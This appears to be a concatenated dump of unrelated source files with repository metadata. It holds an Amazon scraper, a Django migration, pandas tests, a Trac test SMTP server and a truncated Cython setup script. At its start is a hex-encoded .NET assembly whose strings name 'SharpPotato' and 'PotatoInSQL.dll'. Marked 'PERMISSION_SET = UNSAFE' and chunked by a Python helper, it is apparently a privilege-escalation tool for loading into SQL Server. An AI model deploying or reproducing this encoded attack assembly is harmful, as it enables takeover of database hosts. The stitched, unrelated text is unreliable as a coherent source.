5122C020E0E0907050208124412340E072002020E1182150507011280B4080003080E0E118215040702030E0320000703200003050701128101042001010704200101030607021D051D050320000B0507011180F5042001010B04000101180407011D0508000401181D050808060003011C18020700021C1812808D0B0703081280A4151251010E08B77A5C561934E089040000000004010000000402000000041D0000000433000000043100000004000100000400080000020400020500020600020700020800020900020A00020B00020C00020D00020E00020F00021000021100021200021300021400021600021700021800021A00021B00021C00021F00022000022100044D454F5704FFFFFFFF04800000000402010000040800000004100000000400300000040400000008CC96EC064AD8030708AC31CE9C029D53000420000000044000000004000200000400040000040010000004002000000400400000040080000004000001000400000200040000040004000008000403000000041500000004170000000400000008043000000004000000040400001000040000200004000040000405000000040600000004070000000409000000040A000000040B000000040C000000040D000000040E000000040F0000000411000000041200000004130000000414000000041600000004180000000419000000041A000000041B000000041C000000041E000000041F00000004210000000422000000010080A42E01808453797374656D2E53656375726974792E5065726D697373696F6E732E53656375726974795065726D697373696F6E4174747269627574652C206D73636F726C69622C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038391B0154021653657269616C697A6174696F6E466F726D617474657201011C0115022A50032A5000032A500101020119011B070615128085010E030612140306121C03061230030612100306111803061D0E02060203061D03070615124D020E0E0806151280850112200806151280BD01122004061280C10B06151280D101151245010E030612440306123404061280D9080615128085011244030612480406128120040612811C04061181140206070306116402060904061180F504061280D003061170040612810D0306126005061F811102040612811503061D05030612580406118124060615124501080606151251010806061511550102020603040612809504061280990806151280D10112100B061512808501151251010E04061280A80706151280D1010E070615122C020E0E07061512510112340806151180CD0112440606151251010E04061280BC0E06151280E101151180DD020E123404061180C004061280C804061280C402060B04061280CC04061180D404061180D802061C04061180E404061180E804061180EC02060604061180FC04061181000406118104040611810C04061280A40A0002151245010E0E1D080D0002151245010E0E15124501080F0003081512510108081015115501020600030808080E052001011214062002011D0E08072000151251010E042001080E05200201080E08200015128085010E0420001D0E052001011230042000121C05200101121C04200012300420001210062003010E0E08072004010E0E08020420001118081001021E000E12140B0003010E0815128081010E030000010A2002020E10151245010E080001151245010E0E0A0001151245010E1280950B0002151245010E12809502082003010E0E1280910D20041280B1130013011280B51C062001011280B10920010115124D020E0E08200015124D020E0E092000151280BD0112200520010E121C052001121C0E0620020108121C05200112300E0620011230121C0B200212300E151280D1010E0C200312300E0E151280D1010E0D200412300E0E151280D1010E020B200212300E15122C020E0E0C200312300E0E15122C020E0E0D200412300E0E15122C020E0E020D30010212300E151280D1011E000E30010312300E0E151280D1011E000E30020212300E15122C021E001E010F30020312300E0E15122C021E001E010620011230122004200012140D200115128085010E151245010E072002021280A40E0E00040215128081010E121C12140E0C2005020E100E100E100E100E062002020E1214062002010E1214072003020E0E12140900040112140E0E121C062001011280D9092003011280D912340E0A2005011280D90E0E08080A2003021280D9121C1008060002081D0E08090003011280D910080E0600030E08080E0400010E0E0A0003151245010E0E08080C2000151280D101151245010E0D200101151280D101151245010E042000124405200101124408200108151245010E04200012340720030112340E02072002011244121C0B200201124415124D020E0E05200102121C0A2002010E15124D020E0E102004010E1280D91280D915124D020E0E0520001280D90520010E12340620011244123405200101123405200112440E0620011244121C0B200212440E151280D1010E0C200312440E0E151280D1010E0D200412440E0E151280D1010E020B200212440E15122C020E0E0C200312440E0E15122C020E0E0D200412440E0E15122C020E0E020D30010212440E151280D1011E000E30010312440E0E151280D1011E000E30020212440E15122C021E001E010F30020312440E0E15122C021E001E010620011244122006200112441244052001021244082001151245010E0E07000201100E100E0A2001123415128085010E0F20001512808501151180DD020E1234132003011512808501151180DD020E12340E12440A200309091D1180ED1009042000124C082004010A18081009042001010A062003010A0A0808200201101180ED080F200601101180F518091809101180F50D200601101180F51809180910090D200601125C101180F5180918090B200301125C101180F5101805200101125C0A2005010E09090910125C0A2005010E18090910125C0A2005010E0909091012580C2006010E12580918091012580B200401091D1180F5181258082004010E12580E090920040109180910124C102004010E1D1180F91D1180F91D1180F907200101101180F5052002010909082002011D1180ED09082003011D05091009072003010A09100A0A200401125C0A100A100A062003010A0A0908200201101180ED090620010110125C032000180420010118092002011180F51280D0060001181180F50800030818021012500C00040812501180D809101258150007081280E0101180F51C1180D41258091D1180DC082003011180F5070205200012810D0620010E1281190C0004021018101810118108080A000502181D0508100818060003021808080500020118181200090218080E0E08180E101180F4101180F814000B02180E0E18180208180E101180F4101180F805000202180903000009050002081808090003020E0E101180EC0C0006021802101180F009181807000302180910180E0006021809181180E41180E8101803000018040001021807000302101818020600010E1181040600010211810405000101123003000002100009080E0E081818181812811C1281181B00090812811C1281201011811409091281201011811410091281180800020812812010180820030112580E11640D2004010E0E08151280D10112100E2005010E0E08151280D10112100208200101151245010E05200101121013200208151180DD020E1234151180DD020E12340620030107070E062001011280FD0620020111640E092002011280C81280C4062001011281010D20060109090B0B1180F51280CC082002011D0511810C052000118110032800020328001C032800080428011C080428010E08042800121C0328000E0428001230042800121004280011180428001D0E08280015124D020E0E092800151280BD0112200C2800151280D101151245010E042800124404280012340528001280D9032800180428001D050801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F7773010801000200000000001001000B5368617270506F7461746F000005010000000017010012436F7079726967687420C2A920203230323000002901002431626639633130662D366638392D343532302D396432652D61616631376431376261356500000C010007312E302E302E30000025010020557365204B65796564436F6C6C656374696F6E2E746869735B737472696E675D0000090100044974656D00002901002430303030303030642D303030302D303030302D433030302D30303030303030303030343600000801000100000000002901002430303030303030412D303030302D303030302D433030302D30303030303030303030343600002901002430303030303030332D303030302D303030302D433030302D3030303030303030303034360000060100010000002901002430303030303030422D303030302D303030302D433030302D30303030303030303030343600002901002430303030303030632D303030302D303030302D433030302D3030303030303030303034360000050100010000000000006CB6086100000000020000001C0100002C1E01002C00010052534453025F7F46D6BE12479910717CC8364B2201000000483A5C636F64655C637070636F64655C53716C4B6E6966655C53716C4B6E6966655C506F7461746F496E53514C5C6F626A5C52656C656173655C506F7461746F496E53514C2E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000701F010000000000000000008A1F01000020000000000000000000000000000000000000000000007C1F0100000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000104E544C4D5353500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000582001002C03000000000000000000002C0334000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000001000000000000000100000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B0048C020000010053007400720069006E006700460069006C00650049006E0066006F0000006802000001003000300030003000300034006200300000001A000100010043006F006D006D0065006E007400730000000000000022000100010043006F006D00700061006E0079004E0061006D006500000000000000000040000C000100460069006C0065004400650073006300720069007000740069006F006E00000000005300680061007200700050006F007400610074006F000000300008000100460069006C006500560065007200730069006F006E000000000031002E0030002E0030002E003000000040001000010049006E007400650072006E0061006C004E0061006D006500000050006F007400610074006F0049006E00530051004C002E0064006C006C0000004800120001004C006500670061006C0043006F007000790072006900670068007400000043006F0070007900720069006700680074002000A90020002000320030003200300000002A00010001004C006500670061006C00540072006100640065006D00610072006B00730000000000000000004800100001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000050006F007400610074006F0049006E00530051004C002E0064006C006C00000038000C000100500072006F0064007500630074004E0061006D006500000000005300680061007200700050006F007400610074006F000000340008000100500072006F006400750063007400560065007200730069006F006E00000031002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000031002E0030002E0030002E003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000C0000009C3F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
WITH PERMISSION_SET = UNSAFE;
"""
def splitstr(text):
return
tempstr3=sqltxt3.replace("\n", " ").replace(" ", " ").replace(" ", " ")
tempstr4=sqltxt4.replace("\n", " ").replace(" ", " ").replace(" ", " ")
count=1
index=0
str3len=len(tempstr3)
step=int(str3len/13)+1
print("3.5")
while(index <str3len ):
if (index+step)>str3len:
print("sql"+str(count)+"=\""+tempstr3[index:]+"\";")
else:
print("sql"+str(count)+"=\""+tempstr3[index:index+step]+"\";")
index=index+step
count=count+1
count = 1
index = 0
str4len = len(tempstr4)
step = int(str4len / 13) + 1
print("4.0")
while (index < str4len):
if (index + step) > str4len:
print("sql" + str(count) + "=\"" + tempstr4[index:] + "\";")
else:
print("sql" + str(count) + "=\"" + tempstr4[index:index + step] + "\";")
index = index + step
count = count + 1
| [
"hl0rey@163.com"
] | hl0rey@163.com |
023ce6ce8542b911c4f6bd577f910836abcf972d | 63a9ab5db1ae5ad433fef00669f07e01a36a19cf | /details.py | 68419c3f203a2fcba0be751e7e07e7b9320327fd | [] | no_license | RaynardAg/ProductConfigurator | daa4fe852d2a7d0caaa1e9daeea09ee3548f0151 | 425fe21e9107b799594aa884d50a19c022aac228 | refs/heads/main | 2023-07-01T21:57:37.500669 | 2021-08-13T02:10:57 | 2021-08-13T02:10:57 | 395,493,264 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,627 | py | import csv
from bs4 import BeautifulSoup
from selenium import webdriver
from re import sub
""" Extract information from previous web scraping stage"""
def get_url(csv_name):
with open(csv_name + '.csv', encoding='UTF-8') as csv_file:
csv_reader = csv.reader(csv_file, delimiter=',')
urllist = []
next(csv_reader)
for row in csv_reader:
urllist.append(row[4])
return urllist
"""Parse the html and extract the desired information"""
def extract_record(item):
try:
#title
title = item.find('span', id="productTitle").text
title = title.strip()
except AttributeError:
return
#features
try:
features=[]
features = item.find("ul", {"class" : "a-unordered-list a-vertical a-spacing-mini"}).text
features = features.splitlines()
while '' in features:
features.remove('')
features = features[3:]
except AttributeError:
features.append('')
try:
#price
price = item.find('span', {"class" : "a-size-medium a-color-price"}).text
price = round(float(sub(r'[^\d.]', '', price[1:])))
except (TypeError,ValueError,AttributeError) as e:
return
try:
#rating
rating = item.find('span', {"class" : "a-icon-alt"}).text
rating = float(rating[0:3])
except AttributeError:
rating = ''
try:
#review count
review_count = item.find("span", id="acrCustomerReviewText").text
except AttributeError:
review_count = ''
result = [title, price, features, rating, review_count]
return result
"""Main program routine"""
def main(filename):
# startup the webdriver
driver = webdriver.Firefox()
details = []
urllinks = get_url(filename)
for item in urllinks:
driver.get(item)
soup = BeautifulSoup(driver.page_source, 'html.parser')
results = soup.find('div', {'id': 'ppd'})
res = extract_record(results)
try:
res2 = []
res2 += res
res2.append(item)
details.append(res2)
print(len(details))
except TypeError:
pass
driver.close()
""" Store record in csv file """
with open('details.csv', 'w', newline='', encoding='utf-8') as f:
writer = csv.writer(f)
writer.writerow(['Title', 'Price', 'Features', 'Rating', 'ReviewCount', 'Url'])
writer.writerows(details)
""" Run main function"""
main('results')
| [
"noreply@github.com"
] | noreply@github.com |
aad3ce20af76236936080e408ab49e3291e96572 | a723779f23d83fda069cf68e6dcf643e5afff82a | /lecture4/flights/0002_auto_20210809_2024.py | 5ab8d29d8602dc39cc0a226927a22a66ccab2877 | [] | no_license | dan1el5/cs50-lectures | 362e83b14c4dab1997c5b5735569f1ac1081d158 | 711aabd6d6f0babe9be99491b3c94b224969b857 | refs/heads/main | 2023-07-12T11:50:51.296952 | 2021-08-24T05:38:50 | 2021-08-24T05:38:50 | 399,343,335 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,098 | py | # Generated by Django 3.2.5 on 2021-08-10 00:24
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('flights', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Airport',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('code', models.CharField(max_length=3)),
('city', models.CharField(max_length=64)),
],
),
migrations.AlterField(
model_name='flight',
name='destination',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='arrivals', to='flights.airport'),
),
migrations.AlterField(
model_name='flight',
name='origin',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='departures', to='flights.airport'),
),
]
| [
"noreply@github.com"
] | noreply@github.com |
7ac450e80d74815ef7401aa056f3feb1952628a3 | 853d4cec42071b76a80be38c58ffe0fbf9b9dc34 | /venv/Lib/site-packages/pandas/tests/series/test_duplicates.py | 6577b3e54b7b981a4d18a17b1a5eb28849a224fe | [] | no_license | msainTesting/TwitterAnalysis | 5e1646dbf40badf887a86e125ef30a9edaa622a4 | b1204346508ba3e3922a52380ead5a8f7079726b | refs/heads/main | 2023-08-28T08:29:28.924620 | 2021-11-04T12:36:30 | 2021-11-04T12:36:30 | 424,242,582 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,717 | py | import numpy as np
import pytest
from pandas import Categorical, Series
import pandas.util.testing as tm
def test_value_counts_nunique():
# basics.rst doc example
series = Series(np.random.randn(500))
series[20:500] = np.nan
series[10:20] = 5000
result = series.nunique()
assert result == 11
# GH 18051
s = Series(Categorical([]))
assert s.nunique() == 0
s = Series(Categorical([np.nan]))
assert s.nunique() == 0
def test_unique():
# GH714 also, dtype=float
s = Series([1.2345] * 100)
s[::2] = np.nan
result = s.unique()
assert len(result) == 2
s = Series([1.2345] * 100, dtype="f4")
s[::2] = np.nan
result = s.unique()
assert len(result) == 2
# NAs in object arrays #714
s = Series(["foo"] * 100, dtype="O")
s[::2] = np.nan
result = s.unique()
assert len(result) == 2
# decision about None
s = Series([1, 2, 3, None, None, None], dtype=object)
result = s.unique()
expected = np.array([1, 2, 3, None], dtype=object)
tm.assert_numpy_array_equal(result, expected)
# GH 18051
s = Series(Categorical([]))
tm.assert_categorical_equal(s.unique(), Categorical([]), check_dtype=False)
s = Series(Categorical([np.nan]))
tm.assert_categorical_equal(s.unique(), Categorical([np.nan]), check_dtype=False)
def test_unique_data_ownership():
# it works! #1807
Series(Series(["a", "c", "b"]).unique()).sort_values()
@pytest.mark.parametrize(
"data, expected",
[
(np.random.randint(0, 10, size=1000), False),
(np.arange(1000), True),
([], True),
([np.nan], True),
(["foo", "bar", np.nan], True),
(["foo", "foo", np.nan], False),
(["foo", "bar", np.nan, np.nan], False),
],
)
def test_is_unique(data, expected):
# GH11946 / GH25180
s = Series(data)
assert s.is_unique is expected
def test_is_unique_class_ne(capsys):
# GH 20661
class Foo:
def __init__(self, val):
self._value = val
def __ne__(self, other):
raise Exception("NEQ not supported")
with capsys.disabled():
li = [Foo(i) for i in range(5)]
s = Series(li, index=[i for i in range(5)])
s.is_unique
captured = capsys.readouterr()
assert len(captured.err) == 0
@pytest.mark.parametrize(
"keep, expected",
[
("first", Series([False, False, False, False, True, True, False])),
("last", Series([False, True, True, False, False, False, False])),
(False, Series([False, True, True, False, True, True, False])),
],
)
def test_drop_duplicates(any_numpy_dtype, keep, expected):
tc = Series([1, 0, 3, 5, 3, 0, 4], dtype=np.dtype(any_numpy_dtype))
if tc.dtype == "bool":
pytest.skip("tested separately in test_drop_duplicates_bool")
tm.assert_series_equal(tc.duplicated(keep=keep), expected)
tm.assert_series_equal(tc.drop_duplicates(keep=keep), tc[~expected])
sc = tc.copy()
sc.drop_duplicates(keep=keep, inplace=True)
tm.assert_series_equal(sc, tc[~expected])
@pytest.mark.parametrize(
"keep, expected",
[
("first", Series([False, False, True, True])),
("last", Series([True, True, False, False])),
(False, Series([True, True, True, True])),
],
)
def test_drop_duplicates_bool(keep, expected):
tc = Series([True, False, True, False])
tm.assert_series_equal(tc.duplicated(keep=keep), expected)
tm.assert_series_equal(tc.drop_duplicates(keep=keep), tc[~expected])
sc = tc.copy()
sc.drop_duplicates(keep=keep, inplace=True)
tm.assert_series_equal(sc, tc[~expected])
@pytest.mark.parametrize(
"keep, expected",
[
("first", Series([False, False, True, False, True], name="name")),
("last", Series([True, True, False, False, False], name="name")),
(False, Series([True, True, True, False, True], name="name")),
],
)
def test_duplicated_keep(keep, expected):
s = Series(["a", "b", "b", "c", "a"], name="name")
result = s.duplicated(keep=keep)
tm.assert_series_equal(result, expected)
@pytest.mark.parametrize(
"keep, expected",
[
("first", Series([False, False, True, False, True])),
("last", Series([True, True, False, False, False])),
(False, Series([True, True, True, False, True])),
],
)
def test_duplicated_nan_none(keep, expected):
s = Series([np.nan, 3, 3, None, np.nan], dtype=object)
result = s.duplicated(keep=keep)
tm.assert_series_equal(result, expected)
| [
"msaineti@icloud.com"
] | msaineti@icloud.com |
5a80607c8637163410aec5e6372e07c4a642fe98 | 484d73935f057756df8bc6556fc5704327443108 | /236/A_test.py | 49dc94cdcb8d04cbc13e9010b55aa0604f5e0da9 | [] | no_license | kazuya030/CodeForces | 5d93d25f456589ad6343e1140ca27c5ecbd0d652 | 8d859c7680c7dd1c40943bb05116bf032ea5f9bd | refs/heads/master | 2021-03-12T23:45:53.592799 | 2012-12-02T06:57:30 | 2012-12-02T06:57:30 | 6,964,124 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 679 | py | #coding: utf8
import sys
import StringIO
__date__ = '2012/10/20'
from A import solve
def test(input, ans):
ans = str(ans)
s_in = StringIO.StringIO(input)
s_out = StringIO.StringIO()
sys.stdin = s_in; sys.stdout = s_out
str(solve())
sys.stdin = sys.__stdin__; sys.stdout = sys.__stdout__
ans_tmp = s_out.getvalue().strip()
if ans_tmp == ans:
print "Correct %s -> %s" % (repr(input), repr(ans))
else:
print "Wrong!! %s should %s not %s" % (repr(input), repr(ans), repr(ans_tmp))
if __name__ == '__main__':
test("wjmzbmr", "CHAT WITH HER!")
test("xiaodao", "IGNORE HIM!")
test("sevenkplus", "CHAT WITH HER!")
| [
"minami@Retinan.local"
] | minami@Retinan.local |
bb92611663129085e0c2b2b258620024399268b9 | 24d070c6410fdf7212c4c37c2fadc932cd4e8aec | /trac/tests/notification.py | f2f6ce13b9e162a72b77a90a539f2142f77a07ba | [
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause"
] | permissive | clubturbo/Trac-1.4.2 | 4f111e8df9e8007a0e02080bec560361b25fc11c | 254ce54a3c2fb86b4f31810ddeabbd4ff8b54a78 | refs/heads/master | 2023-01-20T16:20:44.724154 | 2020-12-03T08:57:08 | 2020-12-03T08:57:08 | 317,922,011 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,655 | py | # -*- coding: utf-8 -*-
#
# Copyright (C) 2005-2020 Edgewall Software
# Copyright (C) 2005-2006 Emmanuel Blot <emmanuel.blot@free.fr>
# All rights reserved.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution. The terms
# are also available at https://trac.edgewall.org/wiki/TracLicense.
#
# This software consists of voluntary contributions made by many
# individuals. For the exact contribution history, see the revision
# history and logs, available at https://trac.edgewall.org/log/.
#
# Include a basic SMTP server, based on L. Smithson
# (lsmithson@open-networks.co.uk) extensible Python SMTP Server
#
# This file does not contain unit tests, but provides a set of
# classes to run SMTP notification tests
#
import base64
import os
import quopri
import re
import socket
import string
import threading
import unittest
from contextlib import closing
from trac.config import ConfigurationError
from trac.notification import SendmailEmailSender, SmtpEmailSender
from trac.test import EnvironmentStub
LF = '\n'
CR = '\r'
SMTP_TEST_PORT = 7000 + os.getpid() % 1000
header_re = re.compile(r'^=\?(?P<charset>[\w\d\-]+)\?(?P<code>[qb])\?(?P<value>.*)\?=$')
class SMTPServerInterface(object):
"""
A base class for the implementation of an application specific SMTP
Server. Applications should subclass this and override these
methods, which by default do nothing.
A method is defined for each RFC821 command. For each of these
methods, 'args' is the complete command received from the
client. The 'data' method is called after all of the client DATA
is received.
If a method returns 'None', then a '250 OK' message is
automatically sent to the client. If a subclass returns a non-null
string then it is returned instead.
"""
def helo(self, args):
return None
def mail_from(self, args):
return None
def rcpt_to(self, args):
return None
def data(self, args):
return None
def quit(self, args):
return None
def reset(self, args):
return None
#
# Some helper functions for manipulating from & to addresses etc.
#
def strip_address(address):
"""
Strip the leading & trailing <> from an address. Handy for
getting FROM: addresses.
"""
start = string.index(address, '<') + 1
end = string.index(address, '>')
return address[start:end]
def split_to(address):
"""
Return 'address' as undressed (host, fulladdress) tuple.
Handy for use with TO: addresses.
"""
start = string.index(address, '<') + 1
sep = string.index(address, '@') + 1
end = string.index(address, '>')
return address[sep:end], address[start:end]
#
# This drives the state for a single RFC821 message.
#
class SMTPServerEngine(object):
"""
Server engine that calls methods on the SMTPServerInterface object
passed at construction time. It is constructed with a bound socket
connection to a client. The 'chug' method drives the state,
returning when the client RFC821 transaction is complete.
"""
ST_INIT = 0
ST_HELO = 1
ST_MAIL = 2
ST_RCPT = 3
ST_DATA = 4
ST_QUIT = 5
def __init__(self, socket, impl):
self.impl = impl
self.socket = socket
self.state = SMTPServerEngine.ST_INIT
def chug(self):
"""
Chug the engine, till QUIT is received from the client. As
each RFC821 message is received, calls are made on the
SMTPServerInterface methods on the object passed at
construction time.
"""
self.socket.send("220 Welcome to Trac notification test server\r\n")
while 1:
data = ''
complete_line = 0
# Make sure an entire line is received before handing off
# to the state engine. Thanks to John Hall for pointing
# this out.
while not complete_line:
try:
lump = self.socket.recv(1024)
if lump:
data += lump
if len(data) >= 2 and data[-2:] == '\r\n':
complete_line = 1
if self.state != SMTPServerEngine.ST_DATA:
rsp, keep = self.do_command(data)
else:
rsp = self.do_data(data)
if rsp is None:
continue
self.socket.send(rsp + "\r\n")
if keep == 0:
self.socket.close()
return
else:
# EOF
return
except socket.error:
return
def do_command(self, data):
"""Process a single SMTP Command"""
cmd = data[0:4]
cmd = string.upper(cmd)
keep = 1
rv = None
if cmd == "HELO":
self.state = SMTPServerEngine.ST_HELO
rv = self.impl.helo(data[5:])
elif cmd == "RSET":
rv = self.impl.reset(data[5:])
self.data_accum = ""
self.state = SMTPServerEngine.ST_INIT
elif cmd == "NOOP":
pass
elif cmd == "QUIT":
rv = self.impl.quit(data[5:])
keep = 0
elif cmd == "MAIL":
if self.state != SMTPServerEngine.ST_HELO:
return "503 Bad command sequence", 1
self.state = SMTPServerEngine.ST_MAIL
rv = self.impl.mail_from(data[5:])
elif cmd == "RCPT":
if (self.state != SMTPServerEngine.ST_MAIL) and \
(self.state != SMTPServerEngine.ST_RCPT):
return "503 Bad command sequence", 1
self.state = SMTPServerEngine.ST_RCPT
rv = self.impl.rcpt_to(data[5:])
elif cmd == "DATA":
if self.state != SMTPServerEngine.ST_RCPT:
return "503 Bad command sequence", 1
self.state = SMTPServerEngine.ST_DATA
self.data_accum = ""
return "354 OK, Enter data, terminated with a \\r\\n.\\r\\n", 1
else:
return "505 Eh? WTF was that?", 1
if rv:
return rv, keep
else:
return "250 OK", keep
def do_data(self, data):
"""
Process SMTP Data. Accumulates client DATA until the
terminator is found.
"""
self.data_accum = self.data_accum + data
if len(self.data_accum) > 4 and self.data_accum[-5:] == '\r\n.\r\n':
self.data_accum = self.data_accum[:-5]
rv = self.impl.data(self.data_accum)
self.state = SMTPServerEngine.ST_HELO
if rv:
return rv
else:
return "250 OK - Data and terminator. found"
else:
return None
class SMTPServer(object):
"""
A single threaded SMTP Server connection manager. Listens for
incoming SMTP connections on a given port. For each connection,
the SMTPServerEngine is chugged, passing the given instance of
SMTPServerInterface.
"""
def __init__(self, host, port):
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self._socket.bind((host, port))
self._socket_service = None
def serve(self, impl):
while self._resume:
try:
nsd = self._socket.accept()
except socket.error:
return
self._socket_service = nsd[0]
engine = SMTPServerEngine(self._socket_service, impl)
engine.chug()
self._socket_service = None
def start(self):
self._socket.listen(1)
self._resume = True
def stop(self):
self._resume = False
def terminate(self):
if self._socket_service:
# force the blocking socket to stop waiting for data
try:
#self._socket_service.shutdown(2)
self._socket_service.close()
except AttributeError:
# the SMTP server may also discard the socket
pass
self._socket_service = None
if self._socket:
#self._socket.shutdown(2)
self._socket.close()
self._socket = None
class SMTPServerStore(SMTPServerInterface):
"""
Simple store for SMTP data
"""
def __init__(self):
self.reset(None)
def helo(self, args):
self.reset(None)
def mail_from(self, args):
if args.lower().startswith('from:'):
self.sender = strip_address(args[5:].replace('\r\n', '').strip())
def rcpt_to(self, args):
if args.lower().startswith('to:'):
rcpt = args[3:].replace('\r\n', '').strip()
self.recipients.append(strip_address(rcpt))
def data(self, args):
self.message = args
def quit(self, args):
pass
def reset(self, args):
self.sender = None
self.recipients = []
self.message = None
class SMTPThreadedServer(threading.Thread):
"""
Run a SMTP server for a single connection, within a dedicated thread
"""
def __init__(self, port):
self.host = '127.0.0.1'
self.port = port
self.server = SMTPServer(self.host, port)
self.store = SMTPServerStore()
threading.Thread.__init__(self)
def run(self):
# run from within the SMTP server thread
self.server.serve(impl=self.store)
def start(self):
# run from the main thread
self.server.start()
threading.Thread.start(self)
def stop(self):
# run from the main thread
self.server.stop()
# send a message to make the SMTP server quit gracefully
with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
try:
s.connect(('127.0.0.1', self.port))
s.send("QUIT\r\n")
except socket.error:
pass
# wait for the SMTP server to complete (for up to 2 secs)
self.join(2.0)
# clean up the SMTP server (and force quit if needed)
self.server.terminate()
def get_sender(self):
return self.store.sender
def get_recipients(self):
return self.store.recipients
def get_message(self):
return self.store.message
def cleanup(self):
self.store.reset(None)
def decode_header(header):
""" Decode a MIME-encoded header value """
mo = header_re.match(header)
# header does not seem to be MIME-encoded
if not mo:
return header
# attempts to decode the header,
# following the specified MIME encoding and charset
try:
encoding = mo.group('code').lower()
if encoding == 'q':
val = quopri.decodestring(mo.group('value'), header=True)
elif encoding == 'b':
val = base64.decodestring(mo.group('value'))
else:
raise AssertionError("unsupported encoding: %s" % encoding)
header = unicode(val, mo.group('charset'))
except Exception as e:
raise AssertionError(e)
return header
def parse_smtp_message(msg):
""" Split a SMTP message into its headers and body.
Returns a (headers, body) tuple
We do not use the email/MIME Python facilities here
as they may accept invalid RFC822 data, or data we do not
want to support nor generate """
headers = {}
lh = None
body = None
# last line does not contain the final line ending
msg += '\r\n'
for line in msg.splitlines(True):
if body is not None:
# append current line to the body
if line[-2] == CR:
body += line[0:-2]
body += '\n'
else:
raise AssertionError("body misses CRLF: %s (0x%x)"
% (line, ord(line[-1])))
else:
if line[-2] != CR:
# RFC822 requires CRLF at end of field line
raise AssertionError("header field misses CRLF: %s (0x%x)"
% (line, ord(line[-1])))
# discards CR
line = line[0:-2]
if line.strip() == '':
# end of headers, body starts
body = ''
else:
val = None
if line[0] in ' \t':
# continuation of the previous line
if not lh:
# unexpected multiline
raise AssertionError("unexpected folded line: %s"
% line)
val = decode_header(line.strip(' \t'))
# appends the current line to the previous one
if not isinstance(headers[lh], tuple):
headers[lh] += val
else:
headers[lh][-1] = headers[lh][-1] + val
else:
# splits header name from value
(h, v) = line.split(':', 1)
val = decode_header(v.strip())
if h in headers:
if isinstance(headers[h], tuple):
headers[h] += val
else:
headers[h] = (headers[h], val)
else:
headers[h] = val
# stores the last header (for multi-line headers)
lh = h
# returns the headers and the message body
return headers, body
class SendmailEmailSenderTestCase(unittest.TestCase):
def setUp(self):
self.env = EnvironmentStub()
def test_sendmail_path_not_found_raises(self):
sender = SendmailEmailSender(self.env)
self.env.config.set('notification', 'sendmail_path',
os.path.join(os.path.dirname(__file__),
'sendmail'))
self.assertRaises(ConfigurationError, sender.send,
'admin@domain.com', ['foo@domain.com'], "")
class SmtpEmailSenderTestCase(unittest.TestCase):
def setUp(self):
self.env = EnvironmentStub()
def test_smtp_server_not_found_raises(self):
sender = SmtpEmailSender(self.env)
self.env.config.set('notification', 'smtp_server', 'localhost')
self.env.config.set('notification', 'smtp_port', '65536')
self.assertRaises(ConfigurationError, sender.send,
'admin@domain.com', ['foo@domain.com'], "")
def test_suite():
suite = unittest.TestSuite()
suite.addTest(unittest.makeSuite(SendmailEmailSenderTestCase))
suite.addTest(unittest.makeSuite(SmtpEmailSenderTestCase))
return suite
if __name__ == '__main__':
unittest.main(defaultTest='test_suite')
| [
"jonn@mindhunterx"
] | jonn@mindhunterx |
88e16d0fac13e4e9eee8c7bea8b9fa71c55ddd68 | 9c2edc273db48dcb6d31a937510476b7c0b0cc61 | /cython_sample/setup.py | aee60680780e7c7437d6abd35f1504bd902ef425 | [] | no_license | miyamotok0105/python_sample | 4d397ac8a3a723c0789c4c3e568f3319dd754501 | 77101c981bf4f725acd20c9f4c4891b29fbaea61 | refs/heads/master | 2022-12-19T22:53:44.949782 | 2020-05-05T05:09:22 | 2020-05-05T05:09:22 | 81,720,469 | 1 | 0 | null | 2022-11-22T02:22:55 | 2017-02-12T11:15:08 | Jupyter Notebook | UTF-8 | Python | false | false | 731 | py | #! -*- coding: utf-8 -*-
#python setup.py build_ext --inplace
from Cython.Build import cythonize
from distutils.core import setup
